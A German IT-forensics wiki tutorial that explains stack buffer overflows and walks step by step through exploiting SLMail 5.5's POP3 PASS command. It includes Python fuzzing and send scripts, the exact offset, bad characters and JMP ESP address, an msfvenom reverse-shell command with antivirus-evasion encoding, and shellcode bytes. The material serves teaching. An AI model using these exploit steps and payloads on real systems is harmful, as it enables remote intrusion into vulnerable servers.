Stack-basierte Buffer-Overflow Angriffe in Microsoft Windows

Aus IT-Forensik Wiki

Vorwort

Ein Stack-basierter Buffer-Overflow (BOF), auch Stapelpufferüberlauf genannt, tritt auf, wenn eine Speicheradresse außerhalb der dafür vorgesehenen Datenstruktur auf dem Aufrufstapel (Stack-Frame) der betroffenen Funktion überschrieben wird. Die Datenstruktur ist normalerweise ein Buffer mit vorgegebener, fester Länge. So kann z. B. ein Buffer für Zugangsdaten so konzipiert sein, dass Eingaben von 15 Bytes für den Benutzernamen und das Passwort erwartet werden. Beträgt die Benutzereingabe jedoch 20 Bytes (d. h. 5 Bytes mehr als erwartet), schreibt die Anwendung die überschüssigen Daten über die reservierte Größe des Buffers hinaus, sofern keine geeigneten Maßnahmen dagegen ergriffen wurden [1]. Dies führt fast immer zu einer Beschädigung benachbarter Daten sowie ggf. zu einem Absturz oder Einfrieren der Anwendung, da der Stack u. a. die Rücksprungadressen für alle aktiven Funktionsaufrufe enthält [2].

Sofern ein Stack-Buffer-Overflow absichtlich als Teil eines Angriffs herbeigeführt wird, spricht man von Stack-Smashing. Wenn die betroffene Anwendung mit besonderen Privilegien ausgeführt oder Daten von nicht-vertrauenswürdigen Hosts annimmt, handelt es sich somit um eine potenziell von extern ausnutzbare Sicherheitslücke. So wird es einem externen Angreifer ermöglicht, den Stack so zu missbrauchen, dass beliebiger ausführbarer Code in die laufende Anwendung einschleust und die Kontrolle über den Prozess übernommen werden kann. Dieser Angriffsvektor wird als Arbitrary Code Execution (ACE) bezeichnet. Der vom Angreifer eingebrachte Code wird dann mit den gleichen Berechtigungen der betroffenen Anwendung bzw. des betroffenen Threads ausgeführt [3].

Grundlagen

Um die Teilschritte, die in Folge eines Stack-Buffer-Overflows für die erfolgreiche Ausführung von Code umgesetzt werden müssen, vollständig verstehen zu können, werden nun kurz die Grundlagen der Datensegmente von Prozessen und das Zusammenspiel mit den CPU-Registern beschrieben.

Die Datensegmente

Bei der Ausführung einer Anwendung wird die ausführbare Datei auf eine ganz bestimmte Art und Weise im Anwendungsspeicher gehalten, die zwischen verschiedenen Prozessen konsistent ist. Das Betriebssystem ruft die Hauptmethode der Anwendung effektiv als Funktion auf, die dann den Ablauf für den Rest der Anwendung startet und koordiniert. Dabei wird ein virtueller Adressraum geschaffen, welcher bei 32-Bit Anwendungen von 0xffffffff bis 0x00000000 reicht.

Abbildung 1: Die Datensegmente (Quelle: Eigene Darstellung)

Der obere Bereich des Adressraums ist der kernel-Bereich, der die Kommandozeilenparameter, die an die Anwendung übergeben werden, und die Umgebungsvariablen enthält. Der untere Bereich des Speichers wird text genannt und enthält den eigentlichen Code der Anwendung in Form von kompilierten Maschinenbefehlen. Dabei handelt es sich um einen schreibgeschützten Bereich, der nicht verändert werden kann. Oberhalb von text befindet sich der data-Bereich, in welchem globale, statische oder auch vordefinierte Variablen gespeichert werden. Oberhalb dessen befindet sich der Speicherbereich der heap-Datenstruktur, in welcher klassischerweise große Objekte vorgehalten werden (z. B. Bilder und weitere zur Laufzeit geladene Dateien). Unterhalb des kernel-Bereichs wiederum befindet sich schließlich die stack-Datenstruktur, welche überwiegend lokale Variablen oder auch Speicheradressen enthält. Neben der Art der Datenhaltung unterscheiden sich heap und stack folglich außerdem darin, dass der heap nach oben (von niedrigeren zu höheren Speicheradressen) und der stack nach unten (von höheren zu niedrigeren Speicheradressen) wächst. Da der stack nach unten ansteigt, führt jedes Element, das auf den stack geschoben wird, dazu, dass dieser sich dem niedrigeren Speicheradressbereich weiter annähert. Das Gleiche gilt umgekehrt für den heap [4].

Die Struktur des Stacks

Um die Struktur des Stacks und sein Zusammenwirken mit verschiedenen CPU-Registern besser zu verstehen, wird im folgenden Quellcode 1 der Fall betrachtet, dass eine Anwendung eine Funktion aufruft, um eine Benutzereingabe aus einem Kommandozeilenparameter im Stack zwischenzuspeichern.

#include <stdio.h>
#include <string.h>

// Aufzurufende Funktion mit einem Parameter
void bof(char *my_hello_world)
{
 // Deklarierung eines Buffers von 100 Bytes 
 char buffer[100];
 // Kopieren des Parameters in den Buffer
 strcpy(buffer, my_hello_world);
}

// Hauptmethode der Anwendung
int main(int argc, char *argv[])
{
 // Funktionsaufruf mit einem Kommandozeilenparameter als Parameter
 bof(argv[1]);
 // Beendigung der Anwendung
 return 0;
}

Quellcode 1: Angreifbares Beispiel-Programm in C (Quelle: Eigenentwicklung)

Die Inhalte der Parameter argc und argv der Hauptmethode werden zur Laufzeit im kernel-Bereich abgelegt (vgl. Abbildung 1). Die main-Funktion ist der Einstiegspunkt für die Anwendung, welche die bof-Funktion aufruft und ihr den ersten Kommandozeilenparameter übergibt. Dazu wird der Inhalt von argv[1] in Form des my_hello_world-Parameters auf den Stack geschoben. Dabei handelt es sich nur um die reguläre Aufrufsequenz einer Funktion und nicht bereits um die angekündigte zusätzliche Zwischenspeicherung des Parameters.

Anschließend wird die Speicheradresse der Anweisung aus der main-Funktion auf dem Stack abgelegt, mit der die Anwendung die Ausführung fortsetzen soll, nachdem die bof-Funktion vollständig ausgeführt wurde. Im obigen Quellcode 1 ist dies die Speicheradresse für die Anweisung in Zeile 19. Diese wird daher auch Rücksprungadresse genannt und vor Abschluss der Funktion vom Extended Instruction Pointer (EIP) abgerufen, welcher immer die Speicheradresse der nächsten auszuführenden Instruktion enthält.

Danach wird die Speicheradresse des Extended Base Pointer (EBP) auf den Stack geschoben und der Extended Stack Pointer (ESP) definiert. Der EBP wird als Basis-Zeiger für den aktuellen Stack-Frame verwendet und der ESP stellt den Stack-Zeiger dar. Wird eine Funktion aufgerufen, wird typischerweise Platz auf dem Stack für lokale Variablen reserviert (siehe my_hello_world). Dieser Platz wird üblicherweise über den EBP referenziert. Alle lokalen Variablen und Funktionsparameter haben einen konstanten Offset zu diesem für die Dauer des Funktionsaufrufs gleichbleibendem Register. Der ESP hingegen verändert seinen Wert während des Funktionsaufrufs, wenn temporär Stack-Speicherplatz für Teilergebnisse einer Operation beansprucht wird. Folglich zeigt anfänglich der ESP auf den EBP, da noch keine Werte auf dem Stack abgelegt wurden. Sobald sich dies ändert, zeigt der ESP hingegen immer auf das Ende des Stacks [5].

Abschließend wird nun der buffer mit einer Größe von von 100 Bytes auf dem Stack allokiert und durch die Funktion strcpy mit dem Wert des my_hello_world-Parameters gefüllt. Folglich entspricht die Speicheradresse des ESP nun der Adresse vom EBP + 100.

Abbildung 2: Der Adressraum des Beispiel-Programms (Quelle: Eigene Darstellung)

Daraus ergibt sich der in Abbildung 2 dargestellte Aufbau des Stacks:

  1. Der my_hello_world-Parameter mit dem Beispielwert "Moin".
  2. Die Rücksprungadresse zur Anweisung in Zeile 19.
  3. Die Speicheradresse des EBP des Stack-Frames der aufrufenden Funktion (main()).
  4. Der 100-Byte-Buffer, welcher bezogen auf den Beispielwert nur 5 Byte verwendet.

Die Funktionsweise des Stack-Buffer-Overflows

Man beachte erneut, dass der Stack von hohen Speicheradressen zu niedrigeren Speicheradressen nach unten wächst. Der Buffer selbst wird jedoch ausgehend vom ESP von niedrigeren zu höheren Speicheradressen beschrieben, also in der entgegengesetzten Richtung hin zum EBP. Bezogen auf den Quellcode 1 bedeutet dies, dass bei der Übergabe eines Wertes für den Parameter my_hello_world von mehr als 100 Bytes zuerst der EBP überschrieben wird, da dieser tiefer im Stack (und damit höher im Speicher) liegt. Je nach Länge des Überlaufs werden außerdem die Rücksprungadresse für den EIP, die Parameter und der Stack-Frame der vorherigen Funktion(en) verändert.

Abbildung 3: Der Adressraum mit Buffer-Overflow (Quelle: Eigene Darstellung)

Aus der Darstellung des beschädigten Adressraums kann nun bereits abgeleitet werden, wie die erfolgreiche Ausführung von fremdem Code im weiteren Verlauf realisiert werden kann. Da der gesamte Speicherbereich über den Buffer hinaus nun von einem Angreifer beliebig überschrieben werden kann, ist es möglich, den Stack mit ausführbarem Code anstatt einer Zeichenkette zu füllen und diesen durch die adäquate Anpassung der Rücksprungadresse zur Ausführung zu bringen. Dazu muss jedoch die Position des Codes, welcher nachfolgend Payload genannt wird, im Speicher referenzierbar sein.

Abbildung 4: Die Speicheradresse des ESP-Registers (Quelle: Eigene Darstellung)

Unter Microsoft Windows kann man sich dabei den Umstand zu Nutze machen, dass Funktionsaufrufe in der Regel mit den Assembler-Befehlen LEAVE und RETN (oder einem Äquivalent) abgeschlossen werden. Diese sorgen verkürzt dafür, dass der ESP erneut die Adresse des EBP annimmt, was dem in Abschnitt 2.2 erläuterten Ausgangswert entspricht. Des Weiteren wird anschließend die Speicheradresse des ESP um 4 Bytes erhöht, was normalerweise vorbereitend der Wiederherstellung des Stack-Frames der aufrufenden Funktion dient (siehe Quellcode 1, Zeile 14) [6]. Die Speicheradresse des ESP entspricht dann der ursprünglichen Speicherposition der Funktionsparameter (vgl. Abbildung 4), bevor diese überschrieben wurden. Daher wird dieser Speicherbereich (zzgl. ggf. des Stack-Frames von main()) anstatt des 100-Byte-Buffers zum Speichern des Payloads verwendet. In Folge der im Kontext der Anwendungslogik ausgeführten Assembler-Befehle wird dieser Speicherbereich mittels der Speicheradresse des ESP eindeutig referenzierbar. Im Weiteren wird dann durch die Assembler-Anweisung RETN die Anweisung ausgeführt, auf die das EIP-Register mittels der Rücksprungadresse verweist. Folgerichtig kann die Ausführung des Payloads durch das Einsetzen einer statischen Speicheradresse ausgelöst werden, deren Instruktion einen Sprung zum ESP und somit zum Anfang des Payloads auslöst [5].

Die in diesem Abschnitt beschriebene Prozedur entspricht jedoch nur einem vereinfachten Verfahrensmodell. Die genaue Vorgehensweise wird im nachfolgenden Abschnitt 3 anhand einer realen Exploit-Entwicklung im Detail erläutert, da für die erfolgreiche Generierung und Ausführung eines Payloads weitere technische und architekturelle Besonderheiten beachtet werden müssen.

Entwicklung eines Stack-Buffer-Overflow-Exploits

Die aktive Ausnutzung dieser Art von Schwachstelle wird nachfolgend am POP3-Dienst des SLMail Mail-Servers in Version 5.5 demonstriert.

Für die Analyse/das Debugging der Schwachstelle sowie für die teilautomatisierte Entwicklung eines funktionalen Exploits wird die folgende virtuelle Umgebung benötigt:

  1. Microsoft Windows 7 (x86) (https://developer.microsoft.com/de-de/microsoft-edge/tools/vms/)
  2. Kali Linux (https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/)
    • Metasploit Framework
    • Python 3
    • OpenBSD-Netcat

Fuzzing der Anwendung

Allgemein bezeichnet Fuzzing eine automatisierte Software-Testtechnik, bei der ungültige, unerwartete oder zufällige Daten als Eingaben an den zu testenden Dienst gesendet werden. Das Ziel ist dabei das Aufdecken von Fehlern in der Verarbeitung der Eingaben [7]. Der verwundbare Dienst ist an dieser Stelle der POP3-Dienst des SLMail Mail-Servers, spezifisch der PASS-Befehl als Teil des Authentifizierungsprozesses des Protokolls [8].

Abbildung 5: Ablauf der POP3-Authentifizierung (Quelle: Eigene Darstellung angelehnt an [8])

Nachfolgend wird nun mittels Fuzzing die bekannte Schwachstelle im PASS-Befehl verifiziert, jedoch nicht auf das Fuzzing der gesamten Anwendungslogik des Dienstes eingegangen. Dazu wird in Python eine einfache Fuzzing-Anwendung entwickelt, welche sequentiell einen String mit inkrementeller Länge an den Dienst unter Beachtung des POP3-Protokolls (vgl. Abbildung 5) sendet. Währenddessen wird der Prozess des Dienstes mit einem Debugger überwacht.

def fuzzing(ip, port=110):
    # Buffer, der eine steigende Anzahl von Zeichen enthält
    buffer = b
    # Maximale Buffer-Länge
    max_buffer = 5200
    # Größe des Inkrements pro Durchgang
    increment = 400

    while len(buffer) <= max_buffer:
        # Buffer Initalisierung/Erhöhung
        buffer = buffer + b'A' * increment

        print(f'\nFuzzing mit {len(buffer)} Bytes')
        # Socket Initalisierung mit 5 Sekunden Timeout
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        try:
            # Verbindungsaufbau
            s.connect((ip, port))
            # Ausgabe des initialen +OK Status-Indikators (Willkommen)
            print(f'1. {s.recv(1024)[:-1].decode()}')
            # Senden des Benutzernamens nach RFC 1939
            s.send(b'USER username\r\n')
            # Ausgabe des +OK Status-Indikators (Benutzername)
            print(f'2. {s.recv(1024)[:-1].decode()}')
            # Senden des Buffers als Passwort nach RFC 1939
            s.send(b'PASS ' + buffer + b'\r\n')
            # Ausgabe des +OK Status-Indikators (Passwort)
            print(f'3. {s.recv(1024)[:-1].decode()}')
            # Schließen der Verbindung
            s.close()
        except:
            # Ausgabe eines Fehlers, sobald der Dienst nicht mehr antwortet
            print('Verbindung abgelehnt, siehe Immunity Debugger')
            sys.exit(0)

Quellcode 2: Python POP3 Fuzzing-Funktion (Quelle: Eigenentwicklung)

Die Ausführung der Fuzzing-Funktion unter Kali Linux (vgl. Quellcode 2) ergibt die folgende gekürzte Ausgabe.

Fuzzing mit 400 Bytes
1. +OK POP3 server IEWIN7 ready <00001.6366078@IEWIN7>
2. +OK username welcome here
3. -ERR unable to lock mailbox

[...]

Fuzzing mit 2400 Bytes
1. +OK POP3 server IEWIN7 ready <00006.6368250@IEWIN7>
2. +OK username welcome here
3. -ERR unknown command

Fuzzing mit 2800 Bytes
1. +OK POP3 server IEWIN7 ready <00007.6368843@IEWIN7>
2. +OK username welcome here
Verbindung abgelehnt, siehe Immunity Debugger

Ausgabe der Python POP3 Fuzzing-Funktion

Daraus wird bereits ersichtlich, dass die Anwendung bei der Eingabe von ca. 2800 Bytes in Form von A-Buchstaben nicht mehr reagiert. Ein erneuter Verbindungsaufbau schlägt ebenfalls fehl. Daraus lässt sich bereits jetzt ohne die Auswertung der Informationen aus dem Immunity Debugger feststellen, dass die Eingabevalidierung unzureichend ist, was zu einem Absturz des Dienstes führt.

Abbildung 6: Ausgabe der Register (Quelle: Eigener Screenshot)

Die Auswertung der Register im Immunity Debugger (vgl. Abbildung 6) zeigt, dass mehrere Register selbst oder deren Inhalt mit dem Wert \x41 überschrieben wurden, was der Hexadezimaldarstellung des A-Buchstaben entspricht (vgl. Quellcode 2). Betroffen sind hiervon der EBP, der ESP sowie der EIP.

Bestimmung des Offsets zur Rücksprungadresse

Eine Besonderheit stellen Speicheradressen dar, bei denen zu einer Basisadresse ein Versatz in Form eines ganzzahligen Wertes -- auch Offset genannt -- addiert wird [5]. Zur angestrebten Umleitung des Ausführungsflusses ist in diesem Kontext also der Offset zwischen der Benutzereingabe über den PASS-Befehl ausgehend vom ESP zur Position der Rücksprungadresse von besonderem Interesse. Zu dessen Berechnung eignet sich im Gegensatz zum bisher verwendeteten String aus A-Buchstaben besonders die Generierung eines sich nicht wiederholenden Strings. Dadurch wird der in Folge des Buffer-Overflows im EIP-Register angezeigte Wert eindeutig identifizierbar. Zu diesem Zweck stellt Metasploit zwei sehr nützliche Hilfsprogramme zur Verfügung: pattern_create.rb und pattern_offset.rb. Diese beiden Skripte befinden sich im Tools-Verzeichnis von Metasploit [9, 10].

Die Ausführung von pattern_create.rb unter Kali Linux für eine Länge von 2800 Bytes ergibt die folgende gekürzte Ausgabe.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2800
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac [...] 
8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D

Ausgabe von pattern_create.rb

Diese kann nun als Buffer in die leicht abgewandelte Python Fuzzing-Anwendung eingefügt werden, um den String an den POP3-Dienst zu senden.

def send_buffer(ip, port=110):
    # Buffer, der einen sich nicht wiederholenden String enthält
    buffer = b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9' \
            [...]
            b'Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9' \
            b'Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9' \
            b'Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9' \
            b'Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D'

    print(f'\nFuzzing mit {len(buffer)} Bytes')
    # Socket Initalisierung mit 5 Sekunden Timeout
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    try:
        # Verbindungsaufbau
        s.connect((ip, port))
        # Ausgabe des initialen +OK Status-Indikators (Willkommen)
        print(f'1. {s.recv(1024)[:-1].decode()}')
        # Senden des Benutzernamens nach RFC 1939
        s.send(b'USER username\r\n')
        # Ausgabe des +OK Status-Indikators (Benutzername)
        print(f'2. {s.recv(1024)[:-1].decode()}')
        # Senden des Buffers als Passwort nach RFC 1939
        s.send(b'PASS ' + buffer + b'\r\n')
        # Ausgabe des +OK Status-Indikators (Passwort)
        print(f'3. {s.recv(1024)[:-1].decode()}')
        # Schließen der Verbindung
        s.close()
    except:
        # Ausgabe eines Fehlers, sobald der Dienst nicht mehr antwortet
        print('Verbindung abgelehnt, siehe Immunity Debugger')
        sys.exit(0)

Quellcode 3: Python POP3 Send-Funktion mit Pattern (Quelle: Eigenentwicklung)

Die Ausführung der aktualisierten Funktion unter Kali Linux (vgl. Quellcode 3) ergeben die folgenden Register-Werte im Immunity Debugger.

Abbildung 7: Verifikation des Offsets (Quelle: Eigener Screenshot)

Die Auswertung des EIP-Registers zeigt, dass dessen Inhalt mit dem Wert \x39\x69\x44\x38 überschrieben wurde (vgl. Abbildung 7), was der Hexadezimaldarstellung der Zeichenkette 9iD8 entspricht. Aufgrund der Konvention von Little-Endian- und Big-Endian-Systemen muss die Zeichenkette jedoch noch nach 8Di9 invertiert werden [11].

Um das exakte Offset zum EIP bestimmen zu können, kann nun entweder die Länge des Pattern-Strings bis zur Zeichenkette (exklusive) händisch ermittelt oder das pattern_offset.rb Skript des Metasploit Frameworks genutzt werden.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438          
[*] Exact match at offset 2606

Ausgabe von pattern_offset.rb

Das exakte Offset zur Rücksprungadresse, welche nach Ende der PASS-Funktion vom EIP geladen wird, entspricht folglich genau 2606 Bytes.

Identifikation und Eliminierung von ungültigen Zeichen

Bevor mit der Entwicklung fortgesetzt werden kann, müssen alle Zeichen (Characters) identifiziert und eliminiert werden, welche die Ausführung von Code verhindern. Diese Zeichen stehen oft in direkter Relation zur Anwendungslogik des betroffenen Dienstes, hier SLMail.

Zu deren Identifizierung kann im Immunity Debugger mittels mona.py ein Byte-Array von \x00 bis \xff generiert werden, was entsprechend der Hexadezimaldarstellung ein Byte-Array mit 16^2=256 Bytes ergibt. Auch in Python ist eine derartige Generierung möglich. Im weiteren Verlauf ist es jedoch sehr hilfreich, diesen direkt im Immunity Debugger zu erzeugen, da dieser gespeichert und als Referenztabelle zum automatisierten Abgleich mit den Werten im Speicher verwendet werden kann [9].

Abbildung 8: Generierung des Byte-Arrays (Quelle: Eigener Screenshot)

Zu beachten ist an dieser Stelle allerdings, dass das \x00-Byte dem Null-Terminator für Zeichenketten in ASCII und UTF-8 entspricht. Eine Zeichenkette muss durch ein Null-Byte abgeschlossen werden (vgl. Abbildung 2) und darf daher nie innerhalb einer Zeichenkette vorkommen. Daher wird das \x00-Byte bereits jetzt aus dem Byte-Array entfernt, da andernfalls das Senden aller weiteren Zeichen dadurch unterbunden wird [12].

Das "korrigierte" 255-Byte-Array kann nun innerhalb der Python Anwendung als Buffer verwendet werden, um diesen an den POP3-Dienst zu senden. Dabei ist jedoch das zuvor bestimmte Offset von 2606 Bytes sowie die Größe der Rücksprungadresse von weiteren 4 Bytes zu beachten (vgl. Quellcode 4), da der Payload im weiteren Verlauf in den Speicherbereich vor der Rücksprungadresse (in Richtung der höheren Speicheradressen) geschrieben wird. Somit ist gerade dieser Speicherbereich für die Untersuchung von besonderem Interesse.

def send_buffer(ip, port=110):
    # Buffer-Aufbau: Offset + EIP + Byte-Array
    buffer = b'A' * 2606 + b'B' * 4 + \
             b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f' \
             b'\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e' \
             [...]
             b'\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

    [...]

Quellcode 4: Python POP3 Send-Funktion mit Byte-Array (Quelle: Eigenentwicklung)

Anschließend kann im Immunity Debugger das Speicherabbild (Memory Dump) auf fehlende oder ungültige Zeichen untersucht werden.

Abbildung 9: 1. Abgleich des Byte-Arrays (Quelle: Eigener Screenshot)

Bei dem Abgleich des Speicherabbilds in Abbildung 9 mit dem Quellcode 4 ist der Inhalt der folgenden Speicheradressen wie folgt zu interpretieren:

0x028aa120
Ende des 2606-Byte-Offsets aus A-Buchstaben (EBP).
0x028aa124
Wert der Rücksprungadresse in Folge des Buffer-Overflows.
0x028aa128
Anfang des generierten 255-Byte-Arrays.
0x028aa131
Erste Nonkonformität mit dem 255-Byte-Array (\x29 anstatt \x0a).
0x028aa132
Vollständige Nonkonformität mit dem 255-Byte-Array ab dieser Speicheradresse.

Aus der ersten Nonkonformität in Form des \x0a Zeichens geht somit hervor, dass dieses die Ausführung der Anwendung aufgrund der darauffolgenden vollständigen Nonkonformität mit dem 255-Byte-Array insgesamt unterbricht. Daher wird das ungültige Zeichen aus dem Byte-Array entfernt und die Ausführung von Quellcode 4 entsprechend wiederholt.

Abbildung 10: 2. Abgleich des Byte-Arrays (Quelle: Eigener Screenshot)

Aus dem zweiten Speicherabbild-Abgleich (vgl. Abbildung 10) geht hervor, dass an Speicheradresse 0x029da133 die nächste Nonkonformität (\x0e anstatt \x0d) vorhanden ist. Dies führt jedoch diesmal nicht zu einer vollständigen Nonkonformität mit dem restlichen Byte-Array.

Da der manuelle Abgleich zwischen dem Speicherabbild und dem Array einerseits sehr zeitaufwändig und andererseits beispielseise aufgrund von Unachtsamkeit relativ fehleranfällig ist, gibt es im Immunity Debugger mittels mona.py außerdem die Möglichkeit, das Speicherabbild automatisiert unter der Angabe der Start-Speicheradresse des Byte-Arrays (hier 0x029da128) abzugleichen (vgl. Abbildung 11). Dazu nutzt mona.py den zuvor generierten Byte-Array aus Abbildung 8} [9].

Abbildung 11: Ausgabe des automatisierten Byte-Array-Abgleichs (Quelle: Eigener Screenshot)

Die ungültigen Zeichen des POP3-Diensten sind somit:

0x00
Der Null-Byte-Terminator für Zeichenketten in ASCII und UTF-8.
0x0a
Das \n-Zeichen, welches allgemein als Line-Feed oder Newline-Character bekannt ist.
0x0d
Das \r-Zeichen, welches allgemein als Carriage-Return bekannt ist.

Abschließend lässt sich also festhalten, dass die beiden weiteren ungültigen Zeichen 0x0d und 0x0a in Kombination einen Zeilenumbruch unter Microsoft Windows darstellen [13]. Im Kontext des untersuchten POP3-Dienstes ist dies somit auf die Protokoll-Spezifikation zurückzuführen, da in POP3 ein Zeilenumbruch den Abschluss der Benutzereingabe im aktuellen Befehl repräsentiert [8]. Folglich würde die Verwendung dieser ungültigen Zeichen zu einem Abbruch der ACE führen.

Detektierung einer verwundbaren Dynamic Link Library (DLL)

Nach der Identifizierung aller ungültigen Zeichen muss nun eine verwundbare DLL ermittelt werden, welche die Ausführung eines Payloads in Form einer ACE ermöglicht. Dazu werden alle genutzten DLLs mittels mona.py identifiziert, die nicht über geeignete Schutzmaßnahmen verfügen, um die zuvor beschriebene Methodik zu unterbinden (vgl. Abbildung 12).

Abbildung 12: Ausgabe der verwundbaren Module (Quelle: Eigener Screenshot)

Welche der drei ermittelten DLLs genutzt wird ist irrelevant, solange diese keine der aufgeführten vier Schutzmaßnahmen (Rebase, SafeSEH, ASLR, NXCompat) verwendet. Nachfolgend wird hier die SLMFC.DLL genutzt.

Um nun noch zu verifizieren, dass die Verwendung von SLMFC.DLL auch zielführend ist, schließlich muss diese einen Sprung in den ESP ermöglichen (siehe Abschnitt 2.3), wird die DLL nun mittels mona.py nach eben genau so einer Sprunganweisung durchsucht. In Assembler entspricht dies der Sprunganweisung JMP ESP, was wiederum \xff\xe4 als Hexadezimaldarstellung entspricht (vgl. Abbildung 13).

Abbildung 13: Ausgabe detektierter JMP-ESP-Anweisungen (Quelle: Eigener Screenshot)

Als Ergebnis werden 19 Speicheradressen innerhalb der SLMFC.DLL aufgeführt und nachfolgend schlicht die Erste unter 0x5f4a358f genutzt.

Der Grund dafür, dass alle der zuvor erwähnten vier Schutzmaßnahmen für die verwendete DLL deaktiviert sein müssen ist übrigens, dass diese u. a. dafür sorgen, dass die Speicheradressen aller Anweisungen innerhalb der DLL bei jedem Start der Anwendung zufällig angeordnet werden, also dynamisch sind. Somit wäre die Sprunganweisung bei einem Neustart der Anwendung nicht mehr unter der Speicheradresse 0x5f4a358f zu finden [9]. Es gibt zwar einige Methoden, um diese Maßnahmen zu umgehen, beispielsweise ROP Chains (siehe https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/) zur Überwindung von NXCompat, auf welche an dieser Stelle allerdings nicht weiter eingegangen wird.

Generierung eines Payloads in Form einer Reverse-Shell

Zur Generierung des Payloads für die ACE werden nachfolgend noch einmal alle Informationen zusammengefasst:

Offset
Das Offset zum EIP beträgt 2606 Bytes.
Ungültige Zeichen
Die identifizierten ungültigen Zeichen sind \x00, \x0a und \x0d.
EIP
Die Speicheradresse mit einer Sprunganweisung nach ESP ist 0x5f4a358f. Aufgrund der Konvention von Little-Endian- und Big-Endian-Systemen muss diese zur weiteren Verwendung jedoch ebenfalls noch nach 0x8f354a5f invertiert werden (vgl. Abschnitt 3.2).

Basierend auf diesen Informationen kann nun unter Beachtung aller anwendungsspezifischen Gegebenheiten ein Payload generiert werden. Zu diesem Zweck stellt Metasploit das Hilfsprogramm msfvenom zur Verfügung (vgl. Tabelle 1).

/usr/bin/msfvenom [9]}
-a x86 Die zu verwendende Architektur (siehe Microsoft Windows 7 (x86)).
--platform Windows Die zu verwendende Plattform, hier Microsoft Windows.
-p windows/shell_reverse_tcp Den zu verwendenden vorgefertigten Payload, hier eine einfache Reverse-Shell.
LHOST=10.10.10.129 Die IPv4-Adresse des externen Ziel-Hosts, hier das Kali Linux System.
LPORT=443 Der Port auf dem der externe Ziel-Host auf eine eingehende Verbindung wartet. Die Verwendung von Well-Known-Ports (0 bis 1023) kann dabei zu einer Umgehung der Windows Firewall führen.
EXITFUNC=thread Die EXITFUNC=thread wird in den meisten Szenarien verwendet, bei denen der angreifbare Prozess den Payload in einem Kindprozess ausführt. Dadurch führt das Beenden des Kindprozesses häufig wieder zu einer stabilen Anwendung (Clean-Exit).
-b "\x00\x0a\x0d" Angabe aller ungültigen Zeichen, welche bei der Generierung des Exploits nicht verwendet werden dürfen.
-e x86/shikata_ga_nai Angabe des zu verwendenden Encoders, hier shikata_ga_nai. Dieser Encoder implementiert einen polymorphen XOR-Encoder mit additivem Feedback. Der Decoder-Stub wird auf der Basis von dynamischer Befehlssubstitution und dynamischer Blockreihenfolge erzeugt. Die Register werden ebenfalls dynamisch ausgewählt. Dies kann bei der Umgehung von Virenschutz-Programmen helfen [14].
-f python Angabe des Ausgabeformats, hier Python.

Tabelle 1: Beschreibung der verwendetenmsfvenom-Optionen

Die Ausführung von msfvenom mit den zuvor aufgeführten Optionen unter Kali Linux ergibt die folgende Ausgabe.

/usr/bin/msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.10.10.129 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xbb\xb5\x25\xf3\x34\xdb\xd0\xd9\x74\x24\xf4\x58\x33"
buf += b"\xc9\xb1\x52\x83\xc0\x04\x31\x58\x0e\x03\xed\x2b\x11"
buf += b"\xc1\xf1\xdc\x57\x2a\x09\x1d\x38\xa2\xec\x2c\x78\xd0"
buf += b"\x65\x1e\x48\x92\x2b\x93\x23\xf6\xdf\x20\x41\xdf\xd0"
buf += b"\x81\xec\x39\xdf\x12\x5c\x79\x7e\x91\x9f\xae\xa0\xa8"
buf += b"\x6f\xa3\xa1\xed\x92\x4e\xf3\xa6\xd9\xfd\xe3\xc3\x94"
buf += b"\x3d\x88\x98\x39\x46\x6d\x68\x3b\x67\x20\xe2\x62\xa7"
buf += b"\xc3\x27\x1f\xee\xdb\x24\x1a\xb8\x50\x9e\xd0\x3b\xb0"
buf += b"\xee\x19\x97\xfd\xde\xeb\xe9\x3a\xd8\x13\x9c\x32\x1a"
buf += b"\xa9\xa7\x81\x60\x75\x2d\x11\xc2\xfe\x95\xfd\xf2\xd3"
buf += b"\x40\x76\xf8\x98\x07\xd0\x1d\x1e\xcb\x6b\x19\xab\xea"
buf += b"\xbb\xab\xef\xc8\x1f\xf7\xb4\x71\x06\x5d\x1a\x8d\x58"
